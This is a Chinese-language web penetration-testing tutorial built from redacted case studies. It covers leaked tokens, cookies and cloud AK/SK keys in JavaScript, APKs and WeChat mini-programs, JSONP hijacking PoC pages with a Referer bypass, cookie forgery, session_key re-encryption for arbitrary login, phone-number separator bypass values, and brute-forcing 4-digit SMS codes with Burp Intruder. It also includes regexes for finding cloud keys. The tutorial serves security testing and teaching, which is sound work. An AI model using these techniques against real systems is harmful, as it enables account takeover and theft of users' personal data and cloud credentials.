在js中搜索关键字 token 获取到token值。直接拼接到接口中就可以访问,成功返回响应。
GET xxx/Detail?id=121111&token=xxxx HTTP/1.1
因为token写死在js中,就可以绕过登录认证。
案例3-Cookie泄漏
http://xxx.com/ 打开也是没有权限一直转圈,无登录接口、无登录页面。转完圈就跳转至SSO登录界面,但没办法访问,可能是个内网的地址。
用burp suite抓包,请求接口没有权限sso登录,但其实前端还是带了请求身份给接口的,只是身份验证失败了。
#burp抓包 GET xxxx/showimage?id=xxx HTTP/2 Cookie: #返回响应 { "code": "4040", "success":false }
js获取到测试的cookie信息
// 打开前端,搜索cookie关键字 const test_cookie = 'xxxxxxxxxxx894748b'
获取到cookie后添加直接登录用户,读取敏感信息
#burp 带cookie发起请求 GET xxxx/image?id=360002 HTTP/1.1 Cookie = 'xxxxxxxxxxx894748b'
信息泄露的几种方式
实际上绝大多数的信息泄漏都不是在高难度攻击下发生的,而是源于我们的系统设计、配置、开发过程中的粗心大意和安全意识不足。
泄露类型
- 个人信息泄露: 包括姓名、身份证号、联系方式、家庭住址、银行卡号、密码、验证码等,这些信息一旦泄露,可能导致个人遭遇诈骗、骚扰、身份被盗用等问题。
- 企业商业机密泄露: 如产品研发资料、客户名单、营销策略、财务数据、设计图纸、报价方案等。商业机密的泄露可能使企业在市场竞争中处于劣势,遭受经济损失。
- 政府敏感信息泄露:涉及国家安全、政策法规制定过程中的未公开信息等这类信息泄露可能会影响国家的安全和稳定,损害政府的公信力。
常见场景
- 响应包中泄露: 在网络通信中,服务器向客户端发送的响应包包含了各种信息,如网页内容、数据接口返回数据等。如果服务器配置不当或应用程序存在漏洞,可能会在响应包中包含一些敏感信息,这些信息本不应被客户端获取,从而导致信息泄露。
- 搜索引擎: 搜索引擎通过爬虫程序抓取网页内容,并建立索引以便用户搜索。如果网站存在一些配置错误或安全漏洞,可能导致一些本不应被公开的敏感页面或信息被搜索引擎爬虫抓取并收录,从而通过搜索引擎的搜索结果被泄露给公众。
- 等等…
第2部分
案例1-响应包未脱敏导致信息泄露
一些开发在设计系统时,可能仅在前端展示如姓名等非敏感信息,但在响应数据包中却包含了手机号、邮箱、身份证号等敏感信息,这种情况会导致信息泄漏。
范例:正常只能看到这个员工的姓名。但是返回包中泄漏其他字段,如邮箱、学历、微信号等信息。
#burp抓包 首页/我的页面/试驾详情页面 GET /xxx #响应包 email: [email protected], "mobile": "12xxxxx",
范例:一些前端用户功能处,用户评论。直接通过返回包能泄漏出用户的敏感信息。
#burp抓包 用户评价页面接口 GET xxxx #返回包,返回用户的敏感信息 { "id":"111xx", "memberPhone":"14000xxx", "payCode":"xxxx", "https://xxxxx" }
案例2-页面缓存被搜索引擎抓取
搜索引擎搜索该域名,发现有登录后的页面被抓取,直接访问登录目标账号。打开后直接查看相关信息。
#搜索引擎搜索域名 site:xxx.com.cn 展示一条如 账单查询页面,打开后直接能看到相关信息。
案例3-搜索泄漏账号密码进后台
搜索引擎搜索该域名,打开url进入看到泄漏的账号密码。
#搜索 site:xxx.com 发现一条抓取的服务系统页面,发现URL参数有账号密码。 https://xxx.com/aa?j_username=YII&j_passwd=xxx&j_code=a&authCode=0 进入后台
案例4-搜索引擎泄漏token进后台
搜索引擎泄漏用户登录的token凭证。我们打开URL直接就可以进入到后台页面。
#搜索引擎搜索 site: xx.com 发现一条被爬取的 系统登入 页面,打开URL为xxx.com/psssf?settoken直接登录到后台页面。 可以发现搜索引擎缓存了token
案例5-SESSION凭证过早返回
正常的登录流程应确保在服务端完成用户身份验证之后才返回用户凭证。然然而,其些系统设计不当,在登录前提供了查询用户信息的功能,这可能导致在验证用户身份之前就发放了用户凭证。
在一个金融项目的案例中,当用户输入手机号后,系统首先会检查该手机号是否已注册。
- 如果已注册,则进入用户信息查询的逻辑,随后再跳转到登录页面。
- 问题在于,在这个过程中,系统在用户信息查询阶段过早地返回了session ID。如果输入已注册的手机号。
- 这种情况下攻击者可以在未完成身份验证的前提下利用这个提前发放的session I实现任意用户的登录。
#burp suit抓包 模拟已经注册的手机号,进入查询请求 POST xxx/LoginI HTTP/1.1 #返回包 还没登录就返回手机号对应的SESSION信息 HTTP/1.1 200 OK Set-Cookie: xxx Set-Cookie: SESSION=eeeb8dd8-d01c-xxxxx; path=/; HttpOnly; Secury 访问系统的其他接口拿到敏感信息
案例6-httptrace/druid等组件中的凭证泄漏
httptrace凭据泄漏
spring的httptrace端点往往会记录用户的会话信息,若发现spring未授权访问且存在类似端点可以访问的话,可以尝试获取用户凭证登录
#burp抓包 GET xxx/actuator/httptrace HTTP/1.1 #返回包 HTTP/1.1 200 OK ["trace"]
durid凭据泄漏
durid的session监控若发现有效的会话信息时,可以通过此登录任意用户,将druid的未授权中危漏洞提升至高危
#burp抓包 POST /userinfo HTTP/1.1 Cookie: JSESSIONID=980a9171-327e-xxx-d7cdba68b19c #返回包 HTTP/1.1 200 OK {"code":0, "data":{"user_id":"xxxx"}}
案例7-其他接口中的信息泄漏
这个一般发现于JS或者api-docs中的某些特殊接口,例如getToken之类的,取决于开发者有没有开发类似的功能接口,这些接口如果存在未授权漏洞,就可以利用它泄漏一些敏感信息。
#burp抓包 POST xxxx/getToken HTTP/1.1 {"user_id": "112313"} #返回包 HTTP/1.1 200 OK {"errorCode":0, "data":"eyJhGciOixxxx="}
第3部分-接口设计不当、Jsonp滥用导致敏感信息泄漏
案例1-修改API接口实现登录验证码回显
首先我们打开网站登录,这里有个验证码登录。
输入手机号,点击获取验证码。然后通过API泄漏找到了如下的api请求接口,尝试修改ID为手机号
http://xxx.com/GetCode?ID-13199881171 浏览器F12,看到回应json数据中有验证码
{"Code": 1, "Resul": "316355", "Url": null}
直接获取到用用户验证码,然后点击登录。
这意味着
- 我们不需要控制别人的手机、不需短信劫持,只需要知道一个手机号就可以收到这个手机的验证码。
- 完全信任了前端返回的参数。
案例2-JSON劫持收货地址信息
我们在订单结算的页面,会加载地址信息,有如下请求。
订单结算页面 - 手机号 - 地址 - 合计:xxxx元。 【提交回收】
其中加载了一个jsonp请求,含有详细的明文地址信息。浏览器F12看到。
http://xxx.com/order/order?callback=callbackfun5
{"city":72, "countyId":2819,"cityName":"朝阳区","countryName":"三环到四环之间"}
jsonp是解决跨域请求数据的手段。正常的前端不能跨域访问其他域名的数据,但跨域访问json可以。
但是直接访问会有referer做了限制,可能限制比较粗糙,只是验证是否包含域名字符串。可以绕过,通过域名绕过(子域里加入它的域名、在路径中加入它的域名)
http://2shou.m.giandu.com.attack.net/testfile/2shou.m.giandu.com/son3.html
其中我们可以关注到子域名以及文件夹名称都是目标站点的host信息
这样就可以绕过referer头验证了,直接新建一个POC页面,加载如下代码,这段代码使用了JSONP (JSON with Padding)的方式来实现跨域请求。
<script> function callbackfun5(json){ alert(JSON.stringify(json)) } </script> <script src="http://xoox.com/order/confirm_order_promise?callback=callbaackfun5"></script>
为什么JSONP会导致严重信息泄漏?
- 原理:通过 <script> 标签加载 JSON 数据(包裹在回调函数中),绕过同源策略,仅 GET 请求。
- 要求:服务端需支持 JSONP(返回如 callback({…}) 格式的数据)。
第一部分:定义回调函数
function callbackfun5(json) { alert(JSON.stringify(json)); }
- 定义了一个全局函数callbackfun5,它接收一个参数json。
- 当远程服务器返回数据时,会调用这个函数,并将数据作为参数传入。
- 使用alert(JSON.stringify(json))来展示接收到的数据内容。
#效果 callbackfun5({ name":"张三", "address":"上海市xx街道xx号", "phone": "138xxxxx" });
第二部分:动态加载脚本发起JSONP请求
<script src="http://xxxx.com/order/confirm_order_promise?callbactk=callbackfun5"></script>
- 浏览器会加载并执行来自
http://xxxx.com/order/confirm_order_promise?callback=callbackfun5的脚本. - 远程服务器需要支持JSONP,即返回的内容应是一个JavaScript用语句,例如
callbackfun5({"status": "success", "data": "some info"});
- 这样就能绕过浏览器的同源策略限制,实现跨域获取数据。
攻击者
- 创建页面。定义回调函数,用来接收参数json,如callbackfun5;动态加载脚本发起的jsonp请求
- 参考http://cloud.tencent.com/developer/article/2364388
- 新版浏览器对JSONP劫持做了防范。
案例3-JSON劫持订单信息
还有就是劫持订单信息
订单页面, http://xxx.com/orderList.html?from=&pageSource=odrer
订单列表详情请求如下,这里发现我们直接浏览器访问jsonp接口,没有referer头验证,这里就无需使用子域名或者文件夹命名来绕过了
http://xxxx.com/mobileDispatch?callback=_jsonp2
验证,直接利用POC代码:
<script> function jsonp2(json){ alert(JSON.stringify(json)) } </script> <script src="http://xxxx.com/mobile?callback=_jsonp2"></script>
http://xxxx.com/mobile?callback=jsonp2 返回数据:
_jsonp2({"orderld":123, "price":99.9, "user":"张三});
第4部分AKSK
什么是AKSK?
AK (Access Key ID)和SK(Secret Access Key)是用于访问云服务或其他在线平台资源的身份验证凭证。AK类似于用户名,SK类似于密码,两者结合使用来验证用户的身份和权限,以确保只有授权的用户能够访问和操作相关资源。
泄露途径
- 请求接口泄露: 如果上传接口在传输数据时没有采用加密措施,如未使用HTTPS协议,那么在数据传输过程中,AKSK信息可能会被攻击者通过网络嗅探等手段获取。
- js文件硬编码: 开发人员有时会在JS文件中直接硬编码AKSK信息,以便实现与后端服务的交互。这样一来,当用户访问包含该JS文件的网页时,攻击者可以通过查看网源代码或使用浏览器开发者工具轻松获取其中的AKSK信息
危害
- 数据泄露: 攻击者获取AKSK后,可以利用这些凭证访问和下载存储在相关服务中的的敏感数据,如用户个人信息、企业机密数据等,导致数据泄露事故。
- 资源滥用: 攻击者可能会使用泄露的AKSK调用相关服务的接口,进行恶意操作,如发起大量请求导致服务资源耗尽,影响正常用户的使用,或者利用资源进行非法活动。
- 权限提升: 在某些情况下,攻击者可能通过AKSK获取到更高的权限,进而对整个系统进行更深层次的攻击和破坏,如篡改数据、删除关键文件等。
利用方法:
- 使用正则表达式或其他自动化工具扫描JS文件等位置,查找可能泄露的AK/SK。(例如使用burpsuite中的HaE插件)
- 通过手动搜索引擎查找代码片段,例如一些元数据的特征。
下边是一些云厂商元数据的特征,一般是以某个特定字符串开头,例如LTAI/AKTP/AKLT等
- id: Aliyun_AK_ID(阿里云)
enabled: true
pattern: \bLTAI[A-Za-z\d]{12,30}\b
- id: AWS_AK_ID(亚玛逊)
enabled: true
pattern: \bAKIARSJZ[A-Za-z\d]{12,40}\b
- id: QCloud_AK_ID(腾讯云)
enabled: true
pattern: \bAKID[A-Za-z\d]{13,40}\b
- id:JDCloud_AK_ID(京东云)
enabled: true
pattern: \bJDC_[0-9A-Z]{25,40}\b
- id: VolcanoEngine_AK_ID(火山引擎)
enabled: true
pattern: \b(?:AKLT|AKTP)[a-zA-Z0-9]{35,50}\b
- id: Kingsoft_AK_ID(金山云)
enabled: true
pattern: \bAKLT[a-zA-Z0-9\_\-]{16,28}\b
等等
案例1-上传接口中的AKSK信息泄漏
打开 https://xxx.com/ 比如一些文件上传功能,客服图片上传功能等等。
#页面 上传图片 #聊天界面 发送图片
点击图片上传的进修抓包获取请求包,可以在返回的包中看到ak sk泄漏,很多开发喜欢将AKSK吐到返回包中。
#burp suite 抓请求响应包 "data": {"access_key_id":"xxx", "secret_access_key":"xxx"}
案例2-JS文件中的AKSK信息泄漏
在js文件中泄漏ak sk
#浏览器F12,在js中搜索 xxxx"ACCESSKEYID":"xxxx","ACCESSKEYSECRET":"xxx"xxx
发现是阿里key,使用OSS客户端oss browser连接发现有权限进入 OSS对象存储。
案例3-通过反编译APK文件泄漏敏感信息
硬编码在代码中: 部分开发人员可能为了方便,将AK、SK等敏感信息以文形式硬编码在APK的Java源代码中。例如,在某个配置类或工具类中定义了包含AK、SK的静态量。当APK被反编译后,这些硬编码的敏感信息就会暴露无遗,攻击者可以直接从反编译后的代码中获取到这些信息
存储在资源文件中: 有些应用可能会将敏感信息存储在资源文件(如strings.xml等)中。虽然资源文件在APK中是经过一定处理的,但通过反编译工具可以轻松地将其还原并查看其中的内容。如果AK、SK等信息存储在这些资源文件中,同样会面临被泄露的风险
漏洞影响域名和范围、涉及参数、漏洞类型等。
- 寻找泄露的AK信息,从而控制OSS、ECS服务器权限。
- 硬编码信息泄露: 密码泄露、密钥泄露、数据库账号密码泄露等。
- 腾讯云AK、阿里云AK、华为云AK、亚马逊AK、火山引擎A
首先使用jadx工具,对apk文件进行反编译,可以查看以源码信息。
搜索关键字:accesskeyld accesskeySecret accesskey accessSecret bucket endpoint aliyuncs.com
例如阿里云AK正则: (LTA)[a-z0-9_ .,]{0,25}[a-z0-9A-Z_.]([0-9a-zA-Z=]{10,35})[\\\s'\"(),;*&?\]]
- 寻找LTA开头的字符串
例如火山引擎AK正则: (AKTP|AKLT)[0-9a-zA-Z_=]{10,70}
- 寻找AKTP、AKLT开头的字符串
或者使用cf框架进行利用,列表账号下的权限。
第5部分
案例1-微信公众号accesstoken泄露
Swagger Ul是什么?
SwaggerUI是一个开源工具,它能够将OpenAPI规范(以前称为Swagger规范)转换成用户友好的界面,允许用户可视化和与API进行交互。
主要功能包括:
- 文档展示: 自动生成并展示API的文档,包括可用的端点、请求方方法、参数等信息
- 接口测试: 直接在浏览器中对API进行测试,无需编写额外的客户端代码。你可以填写请求参数,并查看响应结果。
- 动态探索: 根据提供的OpenAPI/Swagger定义文件(通常是JSON或YAML格式),动态生成接口文档,使得开发者可以轻松地探索和理解API的使用方法。
- 易于集成: 可以很容易地集成到现有的项目中,无论是Spring Boot、INodejs还是其他的技术栈
1、首先扫描到一个swagger api页面泄露https://xxxx.com/swagger-ui/index.html
#swagger 页面 微信公众号服务 QQ服务类 Show/Hide List Operations Expand Operations Wechat微信公众号服务类 Show/Hide List Operations Expand Operations Wechat JSSDK基础支持服务 Show/Hide List Operations Expand Operations
当你访问类似/swagger-ui/index.html或/swagger-ui.html的路经时,实际上是在访问部署了SwaggerUI工具的服务器上的这个特定资源。这会加载SwaggerUI界面,通过该界面可以浏览和测试API文档。
常见swagger路径如下:
/swagger-ui.html /swagger/ui/index /swagger/index.html /swagger/swagger-ui.html /api-docs/swagger.json /api-docs/swagger.yaml /swagger.json /swagger.yaml /swagger/v1/swagger.json /swagger/v1/swagger.yaml /api/index.html /api/docs/ /api_docs /api/swagger-ui.html /v2/api-docs
2、可以看到是有大量api接口的信息泄露。
3、尝试去调试api接口,比如get/post请求,寻找一些未授权的接口,查看是否含有敏感信息。
4、成功找到一个未授权接口,微信公众号获取accesstoken的请求 /api/v1/wechat/getAccessToken
GET /api/v1/wechat/getAccessToken "data":"91_1zmqxxx-fsfxx"
5、直接获取到微信公众号的token
"data":"91_1zmqxxx-fsfxx"
6、继续利用获取公众号权限,可以通过官方微信开放平台在线调试
https://mp.weixin.qq.com/debug/cgi-bin/apiinfo
7、例如调试微信公众号
如,获取用户管理里的关注者列表接口
access_token: xxxx #返回 大量用户openid "openid":[ "o1GHVwSxxxx", ]
8、也可以利用一键化工具API-Explorer_v2.1.0
9、直接输入token来控制微信公众号的功能
补充知识点,工具推荐!方便大家测试SwaggerAPI相关漏洞!
Swagger API信息泄露利用工具:Swagger API Exploit
下载地址: https://github.com/glpyh/swagger-exp
- 遍历所有API接口,自动填充参数,尝试GET/POST所有接口,返回Response Code / Content-Type /Content-Length,用于分析接口是否可以未授权访问利用
- 分析接口是否存在敏感参数,例如url参数,容易引入外网的SSRF漏洞
- 检测API认证绕过漏洞
- 在本地监听一个Web Server,打开Swagger UI界面,供分析接口使用
- 使用Chrome打开本地Web服务器,并禁用CORS,解决部分API接口无法跨域请求的问题
案例2-OSS存储桶遍历/未授权
1、打开网站,发现一个登录口https://xxx.com/login
2、抓包可以看见,网站在加载个人信息的时候,引用文件地址如下
# burp抓包 GET /api/postail/ HTTP/1.1 #response 从域名上分析图片是用的云存储 {"https://ti.cos.xx.com/img/xxx"}
3、正常打开完整的OSS存储桶地址是
4、这时候我们直接打开cos存储桶首页根目录
https://file-7788654.cos.yun.xxx.com/
发现未做签名和鉴权,导致可以遍历所有文件信息。
5、然后拼接url访问平台所有图片文件信息。
第6部分
案例1-通过代码平台未授权寻找敏感信息
使用关键词搜索
比如访问的id、密钥aksk、db、password
案例2-销售看到的是机会,攻击者看到的是入口
社工+信息收集的结合。
通过话术将手册、链接拿到手。
第7部分
案例1-通过反编译微信小程序寻找信息泄漏
通过微信小程序搜索功能查找小程序账号。如搜索“系统登录”
在电脑终端使用微信打开这个微信小程序,会把这个小程序的代码下载到本地进行加载。
想办法把小程序包还原成代码,查看源码中有没有不该出现的信息。
小程序包位置: C:\User\用户名\Documents\WebChat Files\Applet\<微信程序ID: wx###>\xxx\xxx.wxapkg
将小程序包拷贝到小程序包解码文件中,将小程序包修改成 <微信程序ID>.wxapkg
KillWxapkg_2.4.0_windows_amd64.exe -id wx7627e1630485288d -in="wx7627e1630485288d" -restore -sensitive # sensitive_data.json 提取的敏感信息
案例2-通过反编译微信小程序拿到AKSK
反编译小程序,把程序包还原成源码,全局搜索一些关键词,如secretId, secretKey。
happid ? "appid_" + g.appid : "", wx.Sconfig = {}, wx.$emitter || (wx.$emitter = new r.default), wx.$clearstoragesyncFilterOpenid = n.clync ? wx.getExtConfigSync() :{}; 1.post)("105304app", {}, { lane ||"", wx.$config.appName = e.appName ||"", wx.$config.secretType = e.secretType ||"", wx.$config.secretId = e.tencentOcrSecretId{ t.dggag)t), wx.ShandleWorkorder || (wx.$handleWorkorder = new o.default), wx.$user.getopenid() void:{
可以看到是tencent腾讯的密钥,请求路径是105304app。模拟调用接口。
#burp抓包 POST xxx/105304app xxxxx
发现请求包和返回包都是加密的。这时使用动态分析方法,观察运行时的行为,加断点。加断点后,发现有个iv和seceretKey的值。
通过分析代码,发现是用的国密SMN4的,直接解密,就获取到secretId和secretKey。有了ak就可以直接访问云资源了。
第8部分
案例2-adb shell调试查询APP敏感信息泄漏
反编译APK文件。
使用MuMu模拟器进行模拟,用adb进入shell
D:\Program Files\Netease\MuMuPlayer-12.0\shell>MuMuManager adb -v 0 root already connected to 127.0.0.1:16384 adbd is already running as root D:\Program Files\Netease\MuMuPlayer-12.0\shell>MuMuManager adb -v 0 shell already connected to 127.0.0.1:16384 2206122SC:/ # whoami root
配置和凭据会被缓存到本地,搜索敏感信息
D:\Program Files\Netease\MuMuPlayer-12.0\shell>MuMuManager adb -v 0 shell 2206122SC:/ # grep -r "LTAI" /data xxxxx accesskeyid = "LTAIxxxxxx";
案例3-通过MacAPP寻找AKSK
桌面应用。
如xxx.app的应用,到安装目录中搜索敏感信息
cd xxx.app find . -type f -print0 |xargs -0 grep -lZ 'LTAI' | xargs -I {} sh -c 'strings {} |grep -C 3 "LTAI"'
任意登录
第1部分
漏洞产品的原因
如会话ID生成规则简单容易被猜测、会话超时设置不合理、未对会话进行有效保护、前台cookie后台使用、三方通用程序cookie复用等,导致攻击者可以轻易利用和复用cookie。
场景1:会话ID直接猜测,有特定的规律
GET xxx HTTP/1.1 Cookie: userId=1111;userName=admin; Sec-Ch-Ua-Platform: "Windows"
场景2:前后台cookie复用
#前台用户cookie GET xxx HTTP/1.1 Cookie: _Ixsdk_cuid=xxxxx Sec-Ch-Ua-Platform: "Windows" #复制前台用户cookie GET yyyy HTTP/1.1 Cookie: _Ixsdk_cuid=xxxxx Sec-Ch-Ua-Platform: "Windows"
案例1-复用cookie绕过身份验证登录后台1
a站点 https://a.xxx.com/#/register ,属于是前台,前台是对用户开放注册权限的网站。直接注册即可。
#填写注册信息 用户名、设置密码、确认密码
用户注册,登录后,获取到cookie信息,这里cookie的信息是Authorization,这个网站Authorization字段就是他的登录凭证。
#burpsuite抓包 GET xxx HTTP/1.1 Authorization: Bearer
继续测试。
前台测试的用户去登录后台 https://b.xxx.com/ 提示没有权限,因为这里是后台,正常需要管理员登录才能访问到后台的权限。
- 可能前端判断是有的,但后端判断很粗糙。所以不能只停留在登录界面上,我们还要看接口。
这里用前台 https://a.xxx.com/#/ 注册的用户的cookie去访问后台 https://b.xxx.com/#/ 的功能点接口
#burp suite抓包修改 #b网站后台复用前台用户cookie POST xxx HTTP/1.1 HOST: b.xxx.com Sec-Ch-Ua-Mobile: ?0 Authorization: Bearer {"pageNum":0, "pageSize":10}
案例2-复用cookie绕过身份验证登录后台2
更隐蔽,但逻辑是类似的。
a站是后台 https://a.xxx.com/#/ ,后台需要是员工账号才可以登录。
浏览器F12,获取后台,查看工单信息的接口。能不能用这个接口绕过后台登录?
}, a.get_data = function(e) { a.setState({ loading: 10 }}; var t = new URLSearchParams; t.append("workerid", e), (0, _. default)({ url: "/api/worker/getWorkerinfo method:"post", body:{ params: t }
拼接接口提示token失效,因为目前没有登录用户。
#burp suite抓包修改 GET /api/worker/getWorkerinfo?workerId=22&token=3 HTTP/1.1 Cookie: _ga=GA1.2.14788710515.1636689438; xxx=xxx;xxx=xxx #返回数据 { "data":"", "exception":"token验证失败", "status":402, "success":"false" }
找有用的token.
打开b站点 https://b.xxx.com/#/ 前台用户登录页直接登录就可以。
登录前台用户后,获取到token值。
POST xxx openId=xxxx&token=xxxxxx
把前台 https://b.xxx.com/#/ 的token拿出来,到后台的 a站点 https://a.xxx.com/#/ 接口使用未授权访问
我们要关心,通告证是怎么获取的、通行证是否能在各各系统中通用、接口授权机制是否足够严格。
案例3-Cookie加解密构造实现任意用户登录
首先随便登录一下用户,如下
查询发现cookie是base64加密
POST xxx HTTP/2
Cookie: xelfjslyl==
解密后是这样的,发现只需要修改某个参数值就可以了,没有token之类的验证。
#解码查看cookie信息 Cookie: {"uid":6, "usename":"sss"}
修改用户的唯一id为其他用户id,替换编码后的cookie,实现任意用户登录。
日常的漏洞挖掘过程中,如果看到一个系统登录之后cookie特别短,它是纯文本没有talking,我们解码之后也能直接看到uid类的字段, 这时就要警觉了。尝试用改字段的手段来伪造一个用户身份,这是必测点,而且漏洞的危害极大。
第2部分-session_key任意用户登录
session_key泄漏
session_key是什么?
- 定义: 微信小程序登录时,由微信服务器生成的会话密钥,用于验证用户身份、解密用户敏感数据(如手机号、OpenID)。
- 作用: 服务器与小程序间的安全凭证加密通信与数据解密的核心。
- 特性: 时效性;过期自动失效唯一性;每个用户、每次登录生成不同密钥
泄露如何导致任意用户登录?
- 伪造用户请求: 用泄露的session_key解密/加密数据,模拟合法用户发送请求
- 服务器误判: 服务器验证通过,攻击者以他人身份登录。
常见泄露场景
- 前端代码漏洞: 网络请求中明文传输session_key
sessionkey任意登录三要素,必须必备以下三个值,缺一不可!
- sessionkey
- encrypted Data
- iv
三要素全部必备,可以直接造成任意用户登录!
案例1-session_key泄漏导致任意用户登录
打开小程序
点击一键快捷登录,可以到登录的请求中泄漏了session_key。
获取到session_key和iv值,可以直接解密加密encrytedData内容
#burpsuite抓包 POST xxxx { "encrytedData":"Dy0wwEtZPHcQqAjy/tQxxxxxx", "iv":"Wifa1333xx==", "session_key": "XEN2MNqi8Vf+pUop1y3dXw" }
使用解密脚本,输入session_key iv 以及需要解密的数据包,可以看到解密后的明文数据包
> php.exe jiemi.php SessionKey: XEN2MNqi8Vf+pUop1y3dXw IV: Wifa1333xx== jiemineirong: Dy0wwEtZPHcQqAjy/tQxxxxxx {"phoneNumber":"18xxx8","purePhoneNumber":"18xxxx8", "countryCode":"86"}
这里只需要修改手机号参数值为你想要登录的用户手机号。
- 例如,改成188888881再把数据包加密回就可以,获取到加密后的数据包
> php.exe jiemi.php SessionKey: XEN2MNqi8Vf+pUop1y3dXw IV: Wifa1333xx== jiemineirong: {"phoneNumber":"188888881","purePhoneNumber":"188888881", "countryCode":"86"} VXFVnc0/tQxxxxxx
再替换请求包中的加密数据包,也就是encryptedData参数值,为我们修改手机号加密后的数据为,实现任意登录。
POST xxxx
{
"code":0,
"data": {
"errMsg":"",
"token":"Bearer enyJ0eXAiOiJKV1Qxxxx",
"user_info": {
"user_name": "188888881"
}
},
"expire":1723232913
}
成功登录188888881
案例2-session_key泄漏导致任意用户登录
打开wx小程序
点击一键登录,这时候在请求包中看到有session_key、iv值和加密的data,有了session_key和iv就可以对加密的内容解密。
#burpsuite 抓包 GET /prod-api/wx/user/xxx/phone?sessionKey=AM33==&encryptedData=H9xxxx&iv=QrjCVpdxxx&openid=obRCJ4xxx HTTP/1.1 #响应包内容 {"msg":eyJhxxxxx, "code":200 }
解密脚本对加密数据解密。
解密后再把手机号字段修改成想要登录的用户手机号,加密回去。
修改完手机号字段获取到加密后的Data,这时候只需要在刚刚的登录请求中把encrytedData值,替换成我们修改后的encrytedData就可以实现任意用户登录,可以看到返回的token。
#burpsuite 抓包 GET /prod-api/wx/user/xxx/phone?sessionKey=2FVJIKuxxx3==&encryptedData=Heoxxxx&iv=QrjCVpdxxx&openid=obRCJ4xxx HTTP/1.1 #响应包内容 {"msg":eyHbxxxxx, "code":200 }
其他场景问题
- 有的是在登录请求中直接泄漏
- 有的是在code请求里返回的session_key
https://github.com/mrknow001/BurpAppletPentester
这个插件可以直接解密,更加方便
第3部分
案例1-万能验证三
什么是万能验证码
开发人员为了方便功能测试,有时会设置一些简单的验证码,如"00000000"、"123456"或"8888888"等。
这些简易验证码可以通过暴力破解六位数验证码的方式轻易发现,项目上线时,如果忘了移除这些简易验证码的设置,可能会导致任何用户都能利用这些万能验证码进行登录,从而引发安全风险。
123456 123123 000000 111111 222222 333333 444444 555555 666666 7777777 8888888 99999999 321123 123321
可以使用云资源,按量购买几台服务器,并发跑脚本。
案例2-验证码重绑定
场景1: A后端仅验证了验证码是否正确,没有验证验证码与获取手机号的对应关系,导致可以先输入自己的手机号A获取验证码,再输入他人手机号B获取验证码后,填写自己手机号A接收到的验证码,边大到登录手机号B的目的。
场景2: B后端仅验证码了手机号与验证码是否一致,并未校验手机号是否为号主本人的,导致可以使用自己的手机号+验证码绕过。常见于用户绑定的功能处。
案例:
1、某系统输入商户号与手机号可绑定到该用户
#页面 商户号: xxx012 手机号: xxx126 #自己的手机号 验证码: #点击获取验证码
2、通过用户注册的功能处,输入自己的手机号获取验证码
#页面 登录手机号:xxx126 短信验证码:
3、返回绑定功能处,输入任意验证码抓包,将手机号与验证码字段修改为自己的手机号+验证码
# burp抓包 { "mohid":"xxx012" "phoneNo":"xxx126", "smsCode":"xx24" }
4、成功登录他人账号
最后是用自己的手机号绑定到别人的商户号。
案例3-手机号双写问题
1、输入手机号获取验证码时抓包,双写手机号字段,使得两个手机号获取到同一个验证码,便可以登录其他用户
#页面 登录注册 手机号:xxx607 验证码: 重新获取
2、输入自己的手机号抓包,将手机字段后面加一个逗号或者分号后再加一个手机号,或者双写手机号字段等等,当两个手机号均收到一个验证码时大概率漏洞存在。使用登录/注册自己的手机号收到的验证码便可以任意登录其他手机号。
绕过方法如下: 添加常规分割符及其他特殊字符
13888888888,1999999999 13888888888;1999999999 13888888888\t1999999999 13888888888\n19999999999 138888888888@199999999 13888888888%2019999999999 13888888888(换行)199999999 13888888888(空格)199999999 phone=13333333333&phone=18888888888888 #或其他特殊字符绕过(!@#$%*&^)
3、例如输入:13344445555,18888888888
#burp 抓包 POST /send/code HTTP/1.1 mobile=13344445555,18888888888&random=0.71984223
4、可以看到同一时间2个不同的手机号收到了2条一样的短信,这样就可以使用这个验证码登录2个手机号。
案例4-账户安全码暴力破解
1、首先,通过信息收集,我们成功定位到了一个管理后台的入口。
#页面 手机号登录 账号家码登录 请输入用户名 请输入密码 短信 邮箱 语音 输入验证码 获取安全码 登录 重置密码?
2、随意输入用户名和密码,点击"获取安全码"。若系统未对账户信息进行有效校验,可能允许攻击者通过此方式枚举有效用户名或尝试暴力破解,存在安全隐患。
#页面 手机号登录 账号密码登录 admin ...... 短信 邮箱 语音 输入验证码 获取安全码 用户名或者密码不正确,请检查
3、测试发现,只有在用户名和密码均正确的情况下,才能成功获取安全码。
由于不知道密码并且爆破不成功,我们转而尝试查看"重置密码"功能是否存在可利用的漏洞
4、可以看到,该功能仅要求输入短信验证码,未验证旧密码。
#页面 请输入员工号: 获取验证码 请输入验证码: 请输入新密码: 请确认新密码 保存
5、输入账号获取验证码后,填入任意验证码尝试爆破,这里直接猜测是4位的
#burp POST xxx {"verfityCode":"1234"}
6、发送到burp suite的intruder模块,设置verfitycode为变量
7、注意,使用Brute forcer模式,字符为纯数字,长度为4位数,这里如果选number模式,就无法出现0XXX的组合
- Payload Sets
- Payload type: Brute forcer
- Payload Options
- Character set: 0123456789
- Min length:4
- Max length:4
成功爆破出验证码,就可以重置新密码了,然后登录。
案例5-手机验证码暴力破解
1、首先,找到一个用户登录口,发现是验证码登录。
# 页面 135xxx 1231 验证码
2、这里使用手机验证登录,且为4位数纯数字,没有错误次数限制,导致可以直接爆破验证码进行登录。
# burp 抓包,返回值 {"code":"200","msg":"登录成功","data":xxx}
3、或者我们密码重置的时候也可以使用这个方法
4、验证码同样是4位纯数字,且没有错误次数限制,导致可进行爆破。
5、4位数验证码爆破很快,基本一分钟就能完成,可以达到任意用户登录的效果。
案例6-验证码明文返回
1、找到一个用户登录,同样是使用手机验证码登录。
#页面 手机号:135xxx 验证码:754473 重新获取
2、存在验证码明文返回漏洞,在获取手机验证码时,验证码直接在响应包中以明文形式返回,直接使用获取的验证码登录用户。
#burp 抓包 响应数据 {"data":"140863"}
SSRF漏洞
第1部分
SSRF基础知识
许多Web应用程序提供了从其他服务器获取数据的功能,例如通过用户是供的URL来抓取图片、下载文件或读取文件内容。然而,若这一功能被恶意利用,则可能存在缺陷的Web应用会被用作攻击远程和本地服务器的代理工具,这种攻击方式被称为服务端请求伪造(Server-side Request Forgery,SSRF)。
通常,SSRF攻击的目标是那些从外部网络无法直接访问的内部系统。造成SSRF漏洞的主要原因在于,服务器端未对来自目标地址的数据获取操作进行充分的过滤与限制。例如,在实现从特定URL抓取网页文本内容、加载指定来源的图片或执行文件下载等功能时,如果缺乏严格的地址验证机制,就可能给攻击者留下可乘之机,造成SSRF漏洞。
SSRF漏洞的危害
